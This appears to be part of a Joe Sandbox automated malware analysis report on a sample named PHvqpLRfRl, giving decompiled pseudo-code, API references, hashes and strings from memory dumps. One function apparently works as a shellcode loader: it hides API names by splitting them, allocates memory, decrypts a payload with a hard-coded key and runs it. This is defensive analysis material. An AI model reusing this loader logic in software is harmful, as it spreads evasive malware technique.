								if(( *(_t390 + _t429 + 4) & 0x00000020) != 0) {
									E0115A6E1(_t390, _t262, 0, 0, 2);
									_t455 = _t455 + 0x10;
								}
								_t265 = E01156CA0(_v6860);
								__eflags = _t265;
								if(_t265 == 0) {
									L50:
									_t392 =  *((intOrPtr*)(0x116b450 + _v6876 * 4));
									_t268 = _v6880;
									__eflags =  *(_t268 + _t392 + 4) & 0x00000080;
									if(( *(_t268 + _t392 + 4) & 0x00000080) == 0) {
										_t429 =  &_v6884;
										_t269 = WriteFile( *(_t268 + _t392), _v6868, _a12,  &_v6884, 0);
										__eflags = _t269;
										if(_t269 == 0) {
											goto L49;
										}
										_t445 = _v6884;
										_t436 = 0;
										goto L62;
									}
									_t429 = _v6868;
									_v6864 = 0;
									__eflags = _t377;
									if(_t377 != 0) {
										_t398 = _t429;
										__eflags = _t377 - 2;
										if(_t377 != 2) {
											_v6860 = _t398;
											_t380 = _a12;
											__eflags = _t380;
											if(_t380 == 0) {
												goto L99;
											}
											_v6896 = 0xa;
											do {
												_v6892 = _v6892 & 0x00000000;
												_t280 =  &_v6844;
												_t439 = _v6860;
												_t399 = _t398 - _t429;
												__eflags = _t399;
												_t429 = _v6892;
												do {
													__eflags = _t399 - _t380;
													if(_t399 >= _t380) {
														break;
													}
													_t451 =  *_t439 & 0x0000ffff;
													_t399 = _t399 + 2;
													_t439 =  &(_t439[1]);
													_v6860 = _t439;
													__eflags = _t451 - _v6896;
													if(_t451 == _v6896) {
														_t440 = 0xd;
														 *_t280 = _t440;
														_t280 =  &(_t280[0]);
														_t439 = _v6860;
														_t429 = _t429 + 2;
														__eflags = _t429;
													}
													 *_t280 = _t451;
													_t429 = _t429 + 2;
													_t280 =  &(_t280[0]);
													__eflags = _t429 - 0x6a8;
												} while (_t429 < 0x6a8);
												asm("cdq");
												_t285 = WideCharToMultiByte(0xfde9, 0,  &_v6844, _t280 -  &_v6844 - _t429 >> 1,  &_v3432, 0xd55, 0, 0);
												_t445 = _v6852;
												_t436 = _v6864;
												_v6856 = _t285;
												_t286 = _t285;
												__eflags = _t286;
												if(_t286 == 0) {
													goto L49;
												}
												_t402 = 0;
												__eflags = 0;
												_v6852 = 0;
												while(1) {
													_t429 =  &_v6884;
													_t292 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &(( &_v3432)[_t402]), _t286 - _t402,  &_v6884, 0);
													__eflags = _t292;
													if(_t292 == 0) {
														break;
													}
													_t402 = _v6852 + _v6884;
													_t286 = _v6856;
													_v6852 = _t402;
													__eflags = _t286 - _t402;
													if(_t286 > _t402) {
														continue;
													}
													L92:
													__eflags = _t295 - _t404;
													if(_t295 > _t404) {
														goto L62;
													}
													goto L93;
												}
												_t294 = GetLastError();
												_t404 = _v6852;
												_t436 = _t294;
												_t295 = _v6856;
												_v6864 = _t436;
												goto L92;
												L93:
												_t398 = _v6860;
												_t450 = _t398;
												_t429 = _v6868;
												_t445 = _t450 - _t429;
												_v6852 = _t445;
												__eflags = _t445 - _t380;
											} while (_t445 < _t380);
											goto L62;
										}
										__eflags = _a12 - _t445;
										if(_a12 <= _t445) {
											goto L99;
										}
										_v6896 = 0xa;
										do {
											_v6892 = _v6892 & 0x00000000;
											_t381 =  &_v5136;
											_t297 = _t398 - _t429;
											__eflags = _t297;
											_t429 = _v6892;
											_t452 = 0xd;
											do {
												__eflags = _t297 - _a12;
												if(_t297 >= _a12) {
													break;
												}
												_t441 =  *_t398 & 0x0000ffff;
												_t297 = _t297 + 2;
												_t398 =  &(_t398[1]);
												__eflags = _t441 - _v6896;
												if(_t441 == _v6896) {
													_v6848 = _v6848 + 2;
													 *_t381 = _t452;
													_t381 =  &(_t381[0]);
													_t429 = _t429 + 2;
													__eflags = _t429;
												}
												 *_t381 = _t441;
												_t429 = _t429 + 2;
												_t381 =  &(_t381[0]);
												__eflags = _t429 - 0x13fe;
											} while (_t429 < 0x13fe);
											_v6856 = _t398;
											_t382 = _t381 -  &_v5136;
											_t303 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v5136, _t382,  &_v6884, 0);
											_t445 = _v6852;
											_t436 = _v6864;
											__eflags = _t303;
											if(_t303 == 0) {
												goto L49;
											}
											_t445 = _t445 + _v6884;
											_v6852 = _t445;
											__eflags = _v6884 - _t382;
											if(_v6884 < _t382) {
												goto L62;
											}
											_t398 = _v6856;
											_t305 = _t398;
											_t429 = _v6868;
											__eflags = _t305 - _t429 - _a12;
										} while (_t305 - _t429 < _a12);
										goto L62;
									}
									_v6860 = _t429;
									_t384 = _a12;
									__eflags = _t384;
									if(_t384 == 0) {
										goto L99;
									} else {
										goto L53;
									}
									do {
										L53:
										_t442 =  &_v5136;
										_v6856 = 0;
										_t308 = _t429 - _v6868;
										__eflags = _t308;
										do {
											__eflags = _t308 - _t384;
											if(_t308 >= _t384) {
												break;
											}
											_t409 =  *_t429;
											_t308 = _t308 + 1;
											_v6885 = _t409;
											__eflags = _t409 - 0xa;
											_v6860 = _t429 + 1;
											_t410 = _v6856;
											if(_t409 == 0xa) {
												_v6848 = _v6848 + 1;
												 *_t442 = 0xd;
												_t442 = _t442 + 1;
												_t410 = _t410 + 1;
												__eflags = _t410;
											}
											 *_t442 = _v6885;
											_t442 = _t442 + 1;
											_t429 = _v6860;
											_t411 = _t410 + 1;
											_v6856 = _t411;
											__eflags = _t411 - 0x13ff;
										} while (_t411 < 0x13ff);
										_t443 = _t442 -  &_v5136;
										_t314 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v5136, _t443,  &_v6884, 0); // executed
										__eflags = _t314;
										if(_t314 == 0) {
											goto L49;
										}
										_t445 = _t445 + _v6884;
										__eflags = _v6884 - _t443;
										if(_v6884 < _t443) {
											break;
										}
										_t429 = _v6860;
										_t315 = _t429;
										__eflags = _t315 - _v6868 - _t384;
									} while (_t315 - _v6868 < _t384);
									_t436 = _v6864;
									goto L62;
								} else {
									_t412 = _v6880;
									_t318 =  *((intOrPtr*)(0x116b450 + _v6876 * 4));
									__eflags =  *(_t412 + _t318 + 4) & 0x00000080;
									if(( *(_t412 + _t318 + 4) & 0x00000080) == 0) {
										goto L50;
									}
									_t319 = E0114C25F();
									__eflags =  *( *((intOrPtr*)(_t319 + 0x6c)) + 0xa8);
									_v6856 = 0 |  *( *((intOrPtr*)(_t319 + 0x6c)) + 0xa8) == 0x00000000;
									_t324 = GetConsoleMode( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v6892);
									__eflags = _t324;
									if(_t324 == 0) {
										goto L50;
									}
									__eflags = _v6856 - _t445;
									if(_v6856 == _t445) {
										L16:
										_t326 = GetConsoleCP();
										_t429 = _v6868;
										_t416 = 0;
										_v6860 = _v6860 & 0;
										_v6900 = _t326;
										_v6864 = 0;
										_v6872 = _t429;
										__eflags = _a12;
										if(_a12 <= 0) {
											L99:
											__eflags =  *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4)) + 4) & 0x00000040;
											if(__eflags == 0) {
												L102:
												 *((intOrPtr*)(E0114C460(__eflags))) = 0x1c;
												_t276 = E0114C42C(__eflags);
												 *_t276 =  *_t276 & 0x00000000;
												__eflags =  *_t276;
												L103:
												L105:
												_pop(_t374);
												L106:
												_pop(_t437);
												_pop(_t448);
												_t272 = E0114942B(_t374, _v8 ^ _t454, _t429, _t437, _t448);
												_push(_t454);
												return _t272;
											}
											__eflags =  *_t429 - 0x1a;
											if(__eflags != 0) {
												goto L102;
											}
											goto L105;
										}
										_t327 = _v6872;
										_t429 = 0;
										__eflags = 0;
										_v6852 = 0;
										_v6896 = 0xa;
										do {
											_v6856 = _v6856 & _t436;
											__eflags = _t377;
											if(_t377 != 0) {
												__eflags = _t377 - 1;
												if(_t377 == 1) {
													L38:
													_t416 =  *_t327 & 0x0000ffff;
													__eflags = _t416 - _v6896;
													_v6864 = _t416;
													_t327 =  &(_t327[1]);
													_v6856 = 0 | _t416 == _v6896;
													_t429 = _v6852 + 2;
													__eflags = _t429;
													_v6872 = _t327;
													_v6852 = _t429;
													L39:
													__eflags = _t377 - 1;
													if(_t377 == 1) {
														L41:
														_push(_t416);
														_t328 = E0115A861(_t416);
														_t416 = _v6864;
														__eflags = _t328 - _t416;
														if(_t328 != _t416) {
															L49:
															_t436 = GetLastError();
															L62:
															_t393 = _v6848;
															L63:
															_t446 = _t445;
															__eflags = _t446;
															if(_t446 != 0) {
																__eflags = _t446 - _t393;
																goto L105;
															}
															__eflags = _t436;
															if(_t436 == 0) {
																_t429 = _v6868;
																goto L99;
															}
															_t378 = 5;
															__eflags = _t436 - _t378;
															if(__eflags != 0) {
																_t276 = E0114C43F(_t436);
															} else {
																 *((intOrPtr*)(E0114C460(__eflags))) = 9;
																 *(E0114C42C(__eflags)) = _t378;
															}
															goto L103;
														}
														_t445 = _t445 + 2;
														__eflags = _v6856 - _t436;
														if(_v6856 == _t436) {
															L45:
															_t429 = _v6852;
															_t327 = _v6872;
															goto L46;
														}
														_t364 = 0xd;
														_push(_t364);
														_v6864 = _t364;
														_t365 = E0115A861(_t416);
														_t416 = _v6864;
														__eflags = _t365 - _t416;
														if(_t365 != _t416) {
															goto L49;
														}
														_t445 = _t445 + 1;
														_t130 =  &_v6848;
														 *_t130 = _v6848 + 1;
														__eflags =  *_t130;
														goto L45;
													}
													__eflags = _t377 - 2;
													if(_t377 != 2) {
														goto L46;
													}
													goto L41;
												}
												__eflags = _t377 - 2;
												if(_t377 != 2) {
													goto L39;
												}
												goto L38;
											}
											_t429 =  *_t327;
											_t418 = _v6880;
											__eflags = _t429 - 0xa;
											_v6892 = 0 | _t429 == 0x0000000a;
											_t332 =  *((intOrPtr*)(0x116b450 + _v6876 * 4));
											_v6856 = _t332;
											__eflags =  *((intOrPtr*)(_t418 + _t332 + 0x38)) - _t436;
											if( *((intOrPtr*)(_t418 + _t332 + 0x38)) == _t436) {
												_push(_t429);
												_t334 = E011572BA();
												__eflags = _t334;
												if(_t334 == 0) {
													_push(1);
													_push(_v6872);
													L26:
													_push( &_v6864);
													_t337 = E0115A849();
													_t455 = _t455 + 0xc;
													__eflags = _t337 - 0xffffffff;
													if(_t337 == 0xffffffff) {
														goto L62;
													}
													_t338 = _v6872;
													L28:
													_v6852 = _v6852 + 1;
													_v6872 = _t338 + 1;
													_t342 = WideCharToMultiByte(_v6900, 0,  &_v6864, 1,  &_v16, 5, 0, 0);
													_v6856 = _t342;
													__eflags = _t342;
													if(_t342 == 0) {
														goto L62;
													}
													_t346 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v16, _t342,  &_v6860, 0);
													__eflags = _t346;
													if(_t346 == 0) {
														goto L49;
													}
													_t393 = _v6848;
													_t445 = _v6852 + _t393;
													__eflags = _v6860 - _v6856;
													if(_v6860 < _v6856) {
														goto L63;
													}
													__eflags = _v6892 - _t436;
													if(_v6892 == _t436) {
														L35:
														_t416 = _v6864;
														goto L45;
													}
													_v16 = 0xd;
													_t352 = WriteFile( *(_v6880 +  *((intOrPtr*)(0x116b450 + _v6876 * 4))),  &_v16, 1,  &_v6860, 0);
													__eflags = _t352;
													if(_t352 == 0) {
														goto L49;
													}
													__eflags = _v6860 - 1;
													if(_v6860 < 1) {
														goto L62;
													}
													_v6848 = _v6848 + 1;
													_t445 = _t445 + 1;
													__eflags = _t445;
													goto L35;
												}
												_t429 = _v6872;
												__eflags = _v6868 - _t429 + _a12 - 1;
												if(_v6868 - _t429 + _a12 <= 1) {
													_t385 = _v6876;
													_t445 = _t445 + 1;
													_t356 =  *_t429;
													_t429 = _v6880;
													 *((char*)(_t429 +  *((intOrPtr*)(0x116b450 + _t385 * 4)) + 0x34)) = _t356;
													 *(_t429 +  *((intOrPtr*)(0x116b450 + _t385 * 4)) + 0x38) = 1;
													goto L62;
												}
												_t359 = E0115A849( &_v6864, _t429, 2);
												_t455 = _t455 + 0xc;
												__eflags = _t359 - 0xffffffff;
												if(_t359 == 0xffffffff) {
													goto L62;
												}
												_t338 = _v6872 + 1;
												_v6852 = _v6852 + 1;
												goto L28;
											}
											_v16 =  *((intOrPtr*)(_t418 + _t332 + 0x34));
											_v15 = _t429;
											_push(2);
											 *((intOrPtr*)(_t418 + _v6856 + 0x38)) =  *(_t418 + _v6856 + 0x38) & _t436;
											_push( &_v16);
											goto L26;
											L46:
											__eflags = _t429 - _a12;
										} while (_t429 < _a12);
										goto L62;
									}
									__eflags = _t377;
									if(_t377 == 0) {
										goto L50;
									}
									goto L16;
								}
							}
							 *(E0114C42C(__eflags)) =  *_t367 & _t445;
							 *((intOrPtr*)(E0114C460(__eflags))) = 0x16;
							_t276 = E0114B5F1();
							goto L103;
						}
						__eflags = _t377 - 1;
						if(_t377 != 1) {
							goto L9;
						}
						goto L6;
					}
					 *(E0114C42C(__eflags)) =  *_t369 & 0;
					 *((intOrPtr*)(E0114C460(__eflags))) = 0x16;
					E0114B5F1();
					goto L106;
				}
				goto L106;
			}

0x01159723
0x0115972b
0x01159730
0x01159737
0x0115973a
0x01159741
0x01159744
0x01159748
0x0115974a
0x01159751
0x01159753
0x01159759
0x01159762
0x0115976b
0x0115976d
0x01159791
0x01159792
0x01159798
0x0115979b
0x011597a1
0x011597a2
0x011597a9
0x011597b5
0x011597b7
0x011597ba
0x011597c1
0x011597c6
0x011597c8
0x011597e6
0x011597ec
0x011597ec
0x011597f1
0x011597fa
0x011597ff
0x011597ff
0x01159808
0x0115980e
0x01159810
0x01159b66
0x01159b6c
0x01159b73
0x01159b79
0x01159b7e
0x01159efb
0x01159f0e
0x01159f14
0x01159f16
0x00000000
0x00000000
0x01159f1c
0x01159f22
0x00000000
0x01159f22
0x01159b84
0x01159b8c
0x01159b92
0x01159b94
0x01159ca9
0x01159caa
0x01159cad
0x01159da0
0x01159da6
0x01159da6
0x01159da8
0x00000000
0x00000000
0x01159dae
0x01159db8
0x01159db8
0x01159dbf
0x01159dc5
0x01159dcb
0x01159dcb
0x01159dcd
0x01159dd3
0x01159dd3
0x01159dd5
0x00000000
0x00000000
0x01159dd7
0x01159dda
0x01159ddd
0x01159de0
0x01159de6
0x01159ded
0x01159df1
0x01159df2
0x01159df5
0x01159df8
0x01159dfe
0x01159dfe
0x01159dfe
0x01159e01
0x01159e04
0x01159e07
0x01159e0a
0x01159e0a
0x01159e2a
0x01159e39
0x01159e3f
0x01159e45
0x01159e4b
0x01159e51
0x01159e51
0x01159e53
0x00000000
0x00000000
0x01159e59
0x01159e59
0x01159e5b
0x01159e61
0x01159e65
0x01159e8c
0x01159e92
0x01159e94
0x00000000
0x00000000
0x01159e9c
0x01159ea2
0x01159ea8
0x01159eae
0x01159eb0
0x00000000
0x00000000
0x01159ece
0x01159ece
0x01159ed0
0x00000000
0x00000000
0x00000000
0x01159ed0
0x01159eb4
0x01159eba
0x01159ec0
0x01159ec2
0x01159ec8
0x00000000
0x01159ed6
0x01159ed6
0x01159edd
0x01159ede
0x01159ee4
0x01159ee6
0x01159eec
0x01159eec
0x00000000
0x01159ef4
0x01159cb3
0x01159cb6
0x00000000
0x00000000
0x01159cbc
0x01159cc6
0x01159cc6
0x01159ccd
0x01159cd7
0x01159cd7
0x01159cd9
0x01159cdf
0x01159ce0
0x01159ce0
0x01159ce3
0x00000000
0x00000000
0x01159ce5
0x01159ce8
0x01159ceb
0x01159cee
0x01159cf5
0x01159cf7
0x01159cfe
0x01159d01
0x01159d04
0x01159d04
0x01159d04
0x01159d07
0x01159d0a
0x01159d0d
0x01159d10
0x01159d10
0x01159d1e
0x01159d2a
0x01159d4d
0x01159d53
0x01159d59
0x01159d5f
0x01159d61
0x00000000
0x00000000
0x01159d67
0x01159d6d
0x01159d73
0x01159d79
0x00000000
0x00000000
0x01159d7f
0x01159d86
0x01159d87
0x01159d8f
0x01159d8f
0x00000000
0x01159d98
0x01159b9d
0x01159ba3
0x01159ba3
0x01159ba5
0x00000000
0x00000000
0x00000000
0x00000000
0x01159bab
0x01159bab
0x01159bad
0x01159bb5
0x01159bbb
0x01159bbb
0x01159bc1
0x01159bc1
0x01159bc3
0x00000000
0x00000000
0x01159bc5
0x01159bc8
0x01159bc9
0x01159bcf
0x01159bd2
0x01159bd8
0x01159bde
0x01159be0
0x01159be6
0x01159be9
0x01159bea
0x01159bea
0x01159bea
0x01159bf1
0x01159bf3
0x01159bf4
0x01159bfa
0x01159bfb
0x01159c01
0x01159c01
0x01159c15
0x01159c38
0x01159c3e
0x01159c40
0x00000000
0x00000000
0x01159c46
0x01159c4c
0x01159c52
0x00000000
0x00000000
0x01159c54
0x01159c5b
0x01159c62
0x01159c62
0x01159c6a
0x00000000
0x01159816
0x0115981c
0x01159822
0x01159829
0x0115982e
0x00000000
0x00000000
0x01159834
0x0115983e
0x01159854
0x0115986a
0x01159870
0x01159872
0x00000000
0x00000000
0x01159878
0x0115987e
0x01159888
0x01159888
0x0115988e
0x01159894
0x01159896
0x0115989c
0x011598a2
0x011598a8
0x011598ae
0x011598b1
0x01159f38
0x01159f4b
0x01159f50
0x01159f5b
0x01159f60
0x01159f66
0x01159f6b
0x01159f6b
0x01159f6e
0x01159f77
0x01159f77
0x01159f78
0x01159f7b
0x01159f7e
0x01159f7f
0x01159f84
0x01159f87
0x01159f87
0x01159f52
0x01159f55
0x00000000
0x00000000
0x00000000
0x01159f57
0x011598b7
0x011598bd
0x011598bd
0x011598bf
0x011598c5
0x011598cf
0x011598cf
0x011598d5
0x011598d7
0x01159a8b
0x01159a8e
0x01159a95
0x01159a95
0x01159a9a
0x01159aa1
0x01159aaa
0x01159aad
0x01159ab9
0x01159ab9
0x01159abc
0x01159ac2
0x01159ac8
0x01159ac8
0x01159acb
0x01159ad2
0x01159ad2
0x01159ad3
0x01159ad9
0x01159adf
0x01159ae2
0x01159b59
0x01159b5f
0x01159c70
0x01159c70
0x01159c76
0x01159c76
0x01159c76
0x01159c78
0x01159f73
0x00000000
0x01159f75
0x01159c7e
0x01159c80
0x01159f32
0x00000000
0x01159f32
0x01159c88
0x01159c89
0x01159c8b
0x01159f2a
0x01159c91
0x01159c96
0x01159ca1
0x01159ca1
0x00000000
0x01159c8b
0x01159ae4
0x01159ae7
0x01159aed
0x01159b11
0x01159b11
0x01159b17
0x00000000
0x01159b17
0x01159af1
0x01159af2
0x01159af3
0x01159af9
0x01159aff
0x01159b05
0x01159b08
0x00000000
0x00000000
0x01159b0a
0x01159b0b
0x01159b0b
0x01159b0b
0x00000000
0x01159b0b
0x01159acd
0x01159ad0
0x00000000
0x00000000
0x00000000
0x01159ad0
0x01159a90
0x01159a93
0x00000000
0x00000000
0x00000000
0x01159a93
0x011598dd
0x011598e1
0x011598e7
0x011598ed
0x011598f9
0x01159900
0x01159906
0x0115990a
0x0115992b
0x0115992c
0x01159932
0x01159934
0x0115997a
0x0115997c
0x01159982
0x01159988
0x01159989
0x0115998e
0x01159991
0x01159994
0x00000000
0x00000000
0x0115999a
0x011599a0
0x011599a3
0x011599ad
0x011599c7
0x011599cd
0x011599d3
0x011599d5
0x00000000
0x00000000
0x011599ff
0x01159a05
0x01159a07
0x00000000
0x00000000
0x01159a13
0x01159a19
0x01159a21
0x01159a27
0x00000000
0x00000000
0x01159a2d
0x01159a33
0x01159a80
0x01159a80
0x00000000
0x01159a80
0x01159a49
0x01159a5e
0x01159a64
0x01159a66
0x00000000
0x00000000
0x01159a6c
0x01159a73
0x00000000
0x00000000
0x01159a79
0x01159a7f
0x01159a7f
0x00000000
0x01159a7f
0x0115993c
0x01159947
0x0115994a
0x01159b2b
0x01159b31
0x01159b32
0x01159b34
0x01159b41
0x01159b4c
0x00000000
0x01159b4c
0x0115995a
0x0115995f
0x01159962
0x01159965
0x00000000
0x00000000
0x01159971
0x01159972
0x00000000
0x01159972
0x01159910
0x01159919
0x0115991c
0x0115991e
0x01159925
0x00000000
0x01159b1d
0x01159b1d
0x01159b1d
0x00000000
0x01159b26
0x01159880
0x01159882
0x00000000
0x00000000
0x00000000
0x01159882
0x01159810
0x011597cf
0x011597d6
0x011597dc
0x00000000
0x011597dc
0x011597bc
0x011597bf
0x00000000
0x00000000
0x00000000
0x011597bf
0x01159774
0x0115977b
0x01159781
0x00000000
0x01159786
0x00000000

Memory Dump Source

Source File: 00000000.00000002.202496356.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000000.00000002.202490176.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202515991.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.202524272.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.202531573.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1140000_PHvqpLRfRl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c60414f5cd0b4454671cef441136db806d183363ef70b0e7685bc216fc8f191d
Instruction ID: 42595b5ed058a01709f086d7e523a2afdf77cf3ad7ea35d79f61dbedc76e723b
Opcode Fuzzy Hash: c60414f5cd0b4454671cef441136db806d183363ef70b0e7685bc216fc8f191d
Instruction Fuzzy Hash: 22327E75B02229CBDB68CF58DD80AE9B7B5FB06318F0841D9E91AA7A44D7305A81CF53

Uniqueness

Uniqueness Score: -1.00%

Function 00811030, Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00814054,00814040), ref: 00811047
GetProcAddress.KERNEL32(00000000), ref: 0081104E

Part of subcall function 00811B30: SetLastError.KERNEL32(0000000D,?,00811070,?,00000040), ref: 00811B3D

SetLastError.KERNEL32(000000C1), ref: 00811096

Memory Dump Source

Source File: 00000000.00000002.202137086.0000000000811000.00000020.00000001.sdmp, Offset: 00811000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_811000_PHvqpLRfRl.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: ab9ced25a4c33594d4d6ed34beec3a1b149d280add631a51d7eb1af521315e5a
Instruction ID: ce68d91a8f02e5c7eedb342b349af86565fded4c01541b768be2bd5a7b60c186
Opcode Fuzzy Hash: ab9ced25a4c33594d4d6ed34beec3a1b149d280add631a51d7eb1af521315e5a
Instruction Fuzzy Hash: CEF1D7B4A00209EFDB04CF94D984AEEB7B6FF48304F208558EA15AB351D735EE81DB95

Uniqueness

Uniqueness Score: -1.00%

Function 01143BC0, Relevance: 15.2, APIs: 1, Strings: 9, Instructions: 190
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E01143BC0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int _v8;
				char _v32;
				char _v56;
				char _v80;
				char _v104;
				void* _v108;
				signed int _v112;
				void* _v116;
				long _v120;
				void* _v124;
				void* _v128;
				void* _v132;
				void* _v136;
				intOrPtr _v140;
				void* _v144;
				void* _v148;
				char _v152;
				void* _v156;
				void* _v160;
				intOrPtr _v164;
				intOrPtr _v168;
				signed int _t73;
				void* _t79;
				void* _t80;
				void* _t81;
				signed int _t103;
				intOrPtr _t106;
				void* _t107;
				void* _t108;
				void* _t112;
				void* _t116;
				void* _t148;
				signed int _t149;
				void* _t150;
				void* _t151;
				void* _t152;
				void* _t157;

				_t148 = __esi;
				_t147 = __edi;
				_t119 = __ebx;
				_t73 =  *0x1169060; // 0x43153b94
				_v8 = _t73 ^ _t149;
				_v156 = 0;
				_v152 = 0x115fc7c;
				_v108 = 0;
				_v112 = 0;
				_push("fDFFGDSRTDSGFDSFSGDfgd");
				E011455D0( &_v56);
				_push("D$ERdyhurg778r8t647386FGDSFGSDGFdfg");
				E011455D0( &_v32);
				_t122 =  &_v56;
				E01145030(__ebx, __edi,  &_v80,  &_v56,  &_v32);
				_t151 = _t150 + 0xc;
				_v164 = 0x6fc10000;
				_v136 = 0xc9da2704;
				_t79 = E01144C40( &_v56); // executed
				if(_t79 == 0) {
					_push("Virtua");
					E01146110( &_v56);
					_push("lAlloc");
					E01146110( &_v32);
					_t116 = E01145030(__ebx, __edi,  &_v104,  &_v56,  &_v32);
					_t151 = _t151 + 0xc;
					E01146060( &_v80, _t116);
					_t122 =  &_v104;
					E01145D60( &_v104);
					_v164 = 0x21;
					_v136 = 0;
				}
				_v128 = 0;
				_v116 = 0;
				_v120 = 0;
				_v144 = 0;
				_v124 = 0;
				_t80 = E01144C40(_t122); // executed
				if(_t80 != 0) {
					L8:
					_t81 = E011441F0(_t119, _t147, _t148, _t162, 0x22e5, 0x7b, 0x409,  &_v120);
					_t152 = _t151 + 0x10;
					_v128 = _t81;
					if(_v128 != 0) {
						_push("64");
						_push(E01149EDA());
						_t103 = E01149EDA();
						_t152 = _t152 + 8;
						_v116 = VirtualAlloc(0, _v120, _t103 | 0x00001000, "8192");
					}
					if(_v116 != 0) {
						_v144(_v128, _v120, "QYqtAWv+gr9gGG5B3*1fVLVIz@(S?c)X(ZtApw@UT!b<b@s#M@bbo5!n&BjQDNBxG9oulynho8NB?&4Rwy", 0x53, _v116, _v136);
						_t152 = _t152 + 0x18;
					}
					_v160 = _v116;
					_v168 = _v160();
					_t141 =  &_v112;
					_v108 = E01143E90(_v156, _v156,  &_v152,  &_v112);
					if(_v108 >= 0) {
						__eflags = _v112 & 0x00000002;
						if(__eflags == 0) {
							_t127 = _v112 & 0x00000004;
							__eflags = _v112 & 0x00000004;
							if(__eflags == 0) {
								_t141 = _v112 & 0x00000008;
								__eflags = _v112 & 0x00000008;
								if(__eflags != 0) {
									_v108 = E01141850(_t119, _t127, __eflags);
								}
							} else {
								_v108 = E01141F70(_t119, _t147, _t148, __eflags);
							}
						} else {
							_v108 = E01142CB0(_t119, __eflags);
						}
						__eflags = _v108;
						if(_v108 < 0) {
							E01148840(_t141, 0x73);
						} else {
							E01148840(_t141, 0x72);
						}
					} else {
						_t141 = _v112 & 0x00000001;
						if((_v112 & 0x00000001) != 0) {
							E01148810();
						}
					}
					if(_v108 < 0) {
						_v132 = 0;
					} else {
						_v132 = 1;
					}
					_v148 = _v132;
					E01145D60( &_v80);
					E01145D60( &_v32);
					E01145D60( &_v56);
					return E0114942B(_t119, _v8 ^ _t149, _t141, _t147, _t148);
				}
				_t106 = E011440E0(L"kernel32.dll");
				_t157 = _t151 + 4;
				_v140 = _t106;
				if(_v140 != 0) {
					_push(E01147350( &_v80));
					_push(_v140);
					_t112 = E01144140();
					_t157 = _t157 + 8;
					_v124 = _t112;
				}
				_t162 = _v124;
				if(_v124 != 0) {
					_push(E011452A0);
					_push(0x115fc7e);
					_t108 = E01144C90();
					_t157 = _t157 + 8;
					E01146130(_t108, 0x116b938); // executed
				}
				_push("XAdsfcghjdYUTWTFyFSGSFGH");
				_push(0x1140000);
				_t107 = E01144140();
				_t151 = _t157 + 8;
				_v144 = _t107;
				goto L8;
			}

0x01143bc0
0x01143bc0
0x01143bc0
0x01143bc9
0x01143bd0
0x01143bd3
0x01143bdd
0x01143be7
0x01143bee
0x01143bf5
0x01143bfd
0x01143c02
0x01143c0a
0x01143c13
0x01143c1b
0x01143c20
0x01143c23
0x01143c2d
0x01143c37
0x01143c3e
0x01143c40
0x01143c48
0x01143c4d
0x01143c55
0x01143c66
0x01143c6b
0x01143c72
0x01143c77
0x01143c7a
0x01143c7f
0x01143c89
0x01143c89
0x01143c93
0x01143c9a
0x01143ca1
0x01143ca8
0x01143cb2
0x01143cb9
0x01143cc0
0x01143d35
0x01143d45
0x01143d4a
0x01143d4d
0x01143d54
0x01143d56
0x01143d63
0x01143d69
0x01143d6e
0x01143d80
0x01143d80
0x01143d87
0x01143da3
0x01143da9
0x01143da9
0x01143daf
0x01143dbb
0x01143dc1
0x01143ddb
0x01143de2
0x01143df6
0x01143df9
0x01143e08
0x01143e08
0x01143e0b
0x01143e1a
0x01143e1a
0x01143e1d
0x01143e24
0x01143e24
0x01143e0d
0x01143e12
0x01143e12
0x01143dfb
0x01143e00
0x01143e00
0x01143e27
0x01143e2b
0x01143e3b
0x01143e2d
0x01143e2f
0x01143e34
0x01143de4
0x01143de7
0x01143dea
0x01143dec
0x01143dec
0x01143df1
0x01143e47
0x01143e52
0x01143e49
0x01143e49
0x01143e49
0x01143e5c
0x01143e65
0x01143e6d
0x01143e75
0x01143e8d
0x01143e8d
0x01143cc7
0x01143ccc
0x01143ccf
0x01143cdc
0x01143ce6
0x01143ced
0x01143cee
0x01143cf3
0x01143cf6
0x01143cf6
0x01143cf9
0x01143cfd
0x01143cff
0x01143d04
0x01143d0e
0x01143d13
0x01143d18
0x01143d18
0x01143d1d
0x01143d22
0x01143d27
0x01143d2c
0x01143d2f
0x00000000

APIs

Part of subcall function 01144C40: CryptAcquireContextA.ADVAPI32(00000000,00000000,00000000,00000001,00000000), ref: 01144C57

VirtualAlloc.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,?,D$ERdyhurg778r8t647386FGDSFGSDGFdfg,fDFFGDSRTDSGFDSFSGDfgd), ref: 01143D7D

Part of subcall function 01142CB0: CreateDCW.GDI32(00000000,?,00000000,00000000), ref: 01142DF7
Part of subcall function 01142CB0: GetLastError.KERNEL32(?,?,?,00000100,Microsoft XPS Document Writer), ref: 01142E0C

Part of subcall function 01148840: GetModuleHandleW.KERNEL32(00000000,01143E40,?,00000400), ref: 01148865
Part of subcall function 01148840: LoadStringW.USER32(00000000), ref: 0114886C

Strings

QYqtAWv+gr9gGG5B3*1fVLVIz@(S?c)X(ZtApw@UT!b<b@s#M@bbo5!n&BjQDNBxG9oulynho8NB?&4Rwy, xrefs: 01143D96
